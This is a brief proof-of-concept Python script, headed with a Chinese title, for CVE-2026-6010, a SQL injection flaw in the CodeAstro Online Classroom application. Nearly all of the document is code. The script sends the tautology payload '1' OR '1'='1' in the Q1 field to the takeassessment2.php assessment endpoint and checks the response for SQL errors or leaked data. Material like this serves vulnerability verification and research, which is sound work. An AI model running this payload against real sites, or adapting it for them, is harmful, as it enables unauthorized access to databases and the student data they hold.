CVE-2026-6010 CodeAstro Online Classroom SQL注入漏洞

import requests def verify_sqli(target_url): """ Proof of Concept for CVE-2026-6010 """ # The vulnerable endpoint and parameter based on description url = f"{target_url}/OnlineClassroom/takeassessment2.php?exid=14" # Simple SQL Injection payload to test vulnerability # Using a single quote to break the query syntax payload_data = { "Q1": "1' OR '1'='1" } try: response = requests.post(url, data=payload_data, timeout=10) # Analyze response to check for SQL errors or successful logic bypass if response.status_code == 200: print("[+] Request sent successfully.") # Example logic: check for SQL syntax error in response body if "error" in response.text.lower() or "syntax" in response.text.lower(): print("[+] Potential SQL Injection vulnerability detected (SQL Error found).") else: print("[+] Request executed. Check manual response for data leakage.") print(f"[+] Response snippet: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with actual target IP or domain target = "http://127.0.0.1" verify_sqli(target)